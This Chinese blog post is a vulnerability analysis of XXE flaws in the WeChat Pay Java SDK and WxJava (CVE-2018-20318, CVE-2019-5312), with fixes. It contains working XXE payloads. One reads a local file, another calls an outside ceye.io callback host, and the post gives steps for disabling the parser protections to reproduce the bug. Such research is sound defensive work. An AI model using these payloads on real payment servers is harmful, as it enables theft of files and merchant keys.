凡心所向,素履所往

XXE 示例及利用-java—SDK-1

字数统计: 1.9k阅读时长: 9 min
2019/01/28 Share

[TOC]

XXE实例分析

在接着之前对XXE的了解和学习,但一直在实战中都没遇到,正好这段时间在同事的渗透工作中又遇到了微信SDK的XXE漏洞,便趁着这个机会结合之前对微信SDK中的XXE漏洞,总结一波。

ex1

漏洞原理

  • 微信SDK XXE漏洞分析1

没有找到原漏洞代码,看到原漏洞修复后代码:

https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

在这个案例中,漏洞逻辑为:
微信在JAVA版本的SDK中提供callback回调功能,用来帮助商家接收异步付款结果,该接口接受XML格式的数据,攻击者可以构造恶意的回调数据(XML格式)来窃取商家服务器上的任何文件,一般支付服务器均为核心服务器,出现XXE导致任意文件。另外,一旦攻击者获得了关键支付的安全密钥(md5-key和商家信息,将可以直接实现0元支付购买任何商品。

因为白盒分析java实在有点强人所难,所以站在前人的肩膀上,一步到位,先看看出现这个漏洞的函数:

src/main/java/com/github/wxpay/sdk/WXPayUtil文件
public static Map<String, String> xmlToMap(String strXML) throws Exception {
        try {
            Map<String, String> data = new HashMap<String, String>();
            DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
            org.w3c.dom.Document doc = documentBuilder.parse(stream);
            doc.getDocumentElement().normalize();
            NodeList nodeList = doc.getDocumentElement().getChildNodes();
            for (int idx = 0; idx < nodeList.getLength(); ++idx) {
                Node node = nodeList.item(idx);
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                    org.w3c.dom.Element element = (org.w3c.dom.Element) node;
                    data.put(element.getNodeName(), element.getTextContent());
                }
            }
            try {
                stream.close();
            } catch (Exception ex) {
                // do nothing
            }
            return data;
        } catch (Exception ex) {
            WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
            throw ex;
        }

    }

这里 可以看出xmlToMap 方法用作将string转换成map,所用的xml解析器直接处理了xml字符串,这种直接处理xml字符串,在服务端没有禁止外部dtd应用的时候,造成了XXE漏洞。

  • 详情分析

    Map<String, String> data = new HashMap<String, String>(); 
    这个地方使用了java 中的hashmap,(Hash算法就是根据某个算法将一系列目标对象转换成地址,当要获取某个元素的时候,只需要将目标对象做相应的运算获得地址,直接获取。)
    对hashmap不熟悉的朋友可以看一下 https://www.cnblogs.com/dreamroute/p/3843600.html
    

    关键解析出现在以下

    org.w3c.dom.Document doc = documentBuilder.parse(stream);
    doc.getDocumentElement().normalize();
    

    其中,strXML的内存中数据流使用parse函数处理,跟踪parse函数

      public Document parse(InputStream is)
          throws SAXException, IOException {
          if (is == null) {
              throw new IllegalArgumentException("InputStream cannot be null");
          }
    
          InputSource in = new InputSource(is);
          return parse(in);
      }
    

    return的parse(in) 类似于xml解析器 将xml转换为xmlDOM,涉及到到DOM解析XML,详情可以参考下

    https://blog.csdn.net/guchuanhang/article/details/51866114
    

    漏洞复现

测试代码

package com.github.wxpay.sdk;
import java.util.Map;
public class test1 {

    public static void TestXxe(){
        String xmlstr = "<?xml version=\"1.0\" encoding=\"utf-8\"?> \n" +
                "<!DOCTYPE xxe [\n" +
                "<!ELEMENT name ANY >\n" +
                "<!ENTITY xxe SYSTEM \"file://1.txt\" >]>\n" +
                "<root>\n" +
                "<name>&xxe;</name>\n" +
                "</root>";
        try {
            System.out.println(xmlstr);
            System.out.println("+++++++++++++++++=");
            //System.out.println(WXPayUtil.isSignatureValid(xmlstr,config.getkey()));
            Map<String,String> hm = WXPayUtil.xmlToMap(xmlstr);
            System.out.println("+++++++++++++++++=");
            System.out.println(hm);

        }catch (Exception e){
            e.printStackTrace();
        }

    }

    public static void main(String[] argvs){
        System.out.println("11111");
        test2 test3 = new test2();
        test3.Test2();
        //WXPayUtil WXXxe = new WXPayUtil();//调用存在漏洞的代码
        //WXXxe.mapToXml();
        TestXxe();


    }
}

在下载的漏洞示例代码中,已经是更新后的代码了,所以为了使漏洞复现,得注释掉其中部分禁止函数。

当配置documentBuilderFactory.setFeature(“http://apache.org/xml/features/disallow-doctype-decl", true)为true时, 完全禁止DTD实体的使用

在 com.github.wxpay.sdk.WXPayXmlUtil函数中,进行了安全配置
documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); 

报错:[Fatal Error] :2:10: 将功能 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“真”时, 不允许使用 DOCTYPE。

单独将该配置该为false,可以使用内部实体调用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe "11111111" >]>
<root>
<name>&xxe;</name>
</root>

正常反馈
{name=111111}

使用外部实体时,因为本例子中使用的其他防护措施中,导致了禁止外部实体,测试时可以将以下防护注释掉。这个时候就可以正常进行外部实体注入。

修复措施

src/main/java/com/github/wxpay/sdk/WXPayXmlUtil中

documentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
        documentBuilderFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);
        documentBuilderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        documentBuilderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
        documentBuilderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
        documentBuilderFactory.setXIncludeAware(false);
        documentBuilderFactory.setExpandEntityReferences(false);

详情分析 参考:

http://xerces.apache.org/xerces2-j/features.html#external-general-entities
https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5

ex2

在简单分析了2018/07/03左右爆出来的微信SDK XXE漏洞函数后,可以回头来看一下CVE-2018-20318和CVE-2019-5312这两个CVE。

  • CVE-2018-20318

先看最开始的这个CVE:
根据issus 889

漏洞原理

已修复后漏洞代码如下:

private Document getXmlDoc() {
    if (this.xmlDoc != null) {
      return this.xmlDoc;
        }

        try {
          this.xmlDoc = DocumentBuilderFactory
            .newInstance()
            .newDocumentBuilder()
          final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
          factory.setExpandEntityReferences(false);
          this.xmlDoc = factory.newDocumentBuilder()
            .parse(new ByteArrayInputStream(this.xmlString.getBytes(StandardCharsets.UTF_8)));
          return xmlDoc;
        } catch (SAXException | IOException | ParserConfigurationException e) {
      throw new RuntimeException("非法的xml文本内容:" + this.xmlString);
    }
  }

根据对比:
原漏洞代码:

private Document getXmlDoc() {
    if (this.xmlDoc != null) {
      return this.xmlDoc;
        }

        try {
          this.xmlDoc = DocumentBuilderFactory
            .newInstance()
            .newDocumentBuilder()
            .parse(new ByteArrayInputStream(this.xmlString.getBytes(StandardCharsets.UTF_8)));
          return xmlDoc;
        } catch (SAXException | IOException | ParserConfigurationException e) {
      throw new RuntimeException("非法的xml文本内容:" + this.xmlString);
    }
  }

这里可以明显看到,parse创建了解析器,但没有如上的对外部实体进行禁止

坑点:

在复现的时候,最好使用maven项目,用pom直接导入所需组件。这里需要补充一下

    <dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.7</version>
    </dependency>

测试payload:

public void testToMap() throws Exception {
    WxPayOrderQueryResult result = new WxPayOrderQueryResult();
    result.setXmlString("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
            " \n" +
            "<!DOCTYPE ANY [\n" +
            "<!ENTITY test SYSTEM \"http://th9bvw.ceye.io\" >]>\n" +
            " \n" +
            "<root>&test;</root> ");
    Map<String, String> map = result.toMap();
    System.out.println(map);

    //Assert.assertEquals(map.get("return_code"), "SUCCESS");
    //Assert.assertEquals(map.get("attach"), "订单额外描述");

  }

进行函数跟踪tomap到 BaseWxPayResult.java

public Map<String, String> toMap() {
    if (StringUtils.isBlank(this.xmlString)) {
      throw new RuntimeException("xml数据有问题,请核实!");
    }

    Map<String, String> result = Maps.newHashMap();
    Document doc = this.getXmlDoc();

    try {
      NodeList list = (NodeList) XPathFactory.newInstance().newXPath()
        .compile("/xml/*")
        .evaluate(doc, XPathConstants.NODESET);
      int len = list.getLength();
      for (int i = 0; i < len; i++) {
        result.put(list.item(i).getNodeName(), list.item(i).getTextContent());
      }
    } catch (XPathExpressionException e) {
      throw new RuntimeException("非法的xml文本内容:" + xmlString);
    }

    return result;
  }

追溯到 getXmlDoc

可以在ceye上看到原漏洞导致的结果

修复措施

修改配置

documentBuilderFactory.setExpandEntityReferences(false);

查看下详情

public void setExpandEntityReferences(boolean expandEntityRef) {
        this.expandEntityRef = expandEntityRef;
    }

这个初始化设置为true

  private boolean expandEntityRef = true;

但是这样修复的后果就是没有什么用,导致了CVE-2019-5312的问题
实际中可以参照ex1中的修复

漏洞复现

  • CVE-2019-5312

    ex3 –待补充

  • 实际渗透测试生活中遇到的xxe漏洞

    漏洞原理

    漏洞复现

参考

https://xz.aliyun.com/t/2427
https://mp.weixin.qq.com/s/xV7vtJmFL0FkPX05kiLNVw
https://github.com/Wechat-Group/WxJava/issues/889
https://github.com/Wechat-Group/WxJava/issues/903
https://blog.csdn.net/u013224189/article/details/80902339
CATALOG
  1. 1. XXE实例分析
    1. 1.1. ex1
      1. 1.1.1. 漏洞原理
      2. 1.1.2. 漏洞复现
      3. 1.1.3. 修复措施
    2. 1.2. ex2
      1. 1.2.1. 漏洞原理
      2. 1.2.2. 修复措施
      3. 1.2.3. 漏洞复现
    3. 1.3. ex3 –待补充
      1. 1.3.1. 漏洞原理
      2. 1.3.2. 漏洞复现
    4. 1.4. 参考